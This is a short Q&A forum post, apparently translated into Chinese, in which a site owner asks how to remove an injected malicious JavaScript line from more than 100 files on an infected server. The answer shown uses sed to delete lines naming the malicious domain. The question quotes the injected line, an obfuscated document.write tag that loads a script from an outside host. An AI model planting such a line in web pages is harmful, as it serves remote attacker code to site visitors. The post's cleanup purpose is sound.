如何从多个文件中删除恶意Javascript代码

时间:2010-10-31 16:44:52

标签: sed escaping malware

最近我的linux服务器感染了恶意软件,因此我有100多个文件感染了一行Javascript代码:

document.write('<sc'+'ript type="text/javascript" src="http://alienradar.ru/Kilobyte.js"></scri'+'pt>');

我太累了,不能手动删除它,所以我深入研究谷歌(不太了解linux没有帮助)并发现我可以使用sed来达到这个目的。

不幸的是,我无法逃脱,所以我可以使用

sed -i.bak '/line of text/d' *

语法,它充满了单引号,双引号和反斜杠。

我怎么能逃避这个字符串,还是有其他方法 - 更容易 - 这样做?

2 个答案:

答案 0 :(得分:1)

你能不能只使用sed删除任何包含alienradar.ru的行,或者只存在于攻击行中的其他子串?类似的东西:

sed -i.bak '/alienradar.ru/d' *

答案 1 :(得分:0)